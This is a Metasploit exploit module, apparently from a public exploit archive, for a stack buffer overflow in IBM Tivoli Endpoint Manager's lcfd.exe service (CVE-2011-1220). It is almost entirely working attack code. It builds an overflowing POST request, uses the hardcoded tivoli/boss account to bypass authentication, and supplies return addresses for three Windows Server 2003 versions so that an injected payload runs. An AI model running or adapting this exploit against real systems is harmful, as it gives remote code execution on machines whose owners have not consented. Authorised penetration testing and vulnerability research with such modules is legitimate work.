IBM Tivoli Endpoint Manager - POST Query Buffer Overflow (Metasploit)

##
# $Id: ibm_tivoli_endpoint_bof.rb 12925 2011-06-12 00:04:55Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IBM Tivoli Endpoint Manager POST Query Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the way IBM Tivoli 
				Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query 
				arguments.

				This issue can be triggered by sending a specially crafted HTTP POST request to 
			the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization
			is required. This exploit makes use of a second vulnerability, a hardcoded account 
			(tivoli/boss) is used to bypass the authorization restriction.
			},
			'Author'         =>
				[
					'bannedit', # metasploit module
					'Jeremy Brown <0xjbrown[at]gmail.com>', # original public exploit
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12925 $',
			'References'     =>
				[
					[ 'CVE', '2011-1220'],
					[ 'OSVDB', '72713'], # buffer overflow
					[ 'OSVDB', '72751'], # hardcoded account
					[ 'BID', '48049'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-169/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0d\x0a",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows Server 2003 SP0', { 'Ret' => 0x77d80787 }], # user32.dll - jmp esp
					['Windows Server 2003 SP1', { 'Ret' => 0x77403680 }], # user32.dll - jmp esp
					['Windows Server 2003 SP2', { 'Ret' => 0x77402680 }], # user32.dll - jmp esp
				],
			'DisclosureDate' => 'May 31 2011'))

		register_options(
			[
				Opt::RPORT(9495),
			], self.class )
	end

	def exploit
		print_status("Trying target #{target.name}...")

		auth = Rex::Text.encode_base64("tivoli:boss")
		varname = rand_text_alpha(rand(10))

		sploit = make_nops(1) * 256
		sploit << [target.ret].pack('V')
		sploit << payload.encoded
		
		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
		res = send_request_cgi({
			'uri'          => '/addr',
			'method'       => 'POST',
			'headers'      =>
			{
				'Authorization' => "Basic #{auth}"
			},
			'vars_post'    =>
			{
				varname => sploit,
			},
		}, 5)

		handler
	end
end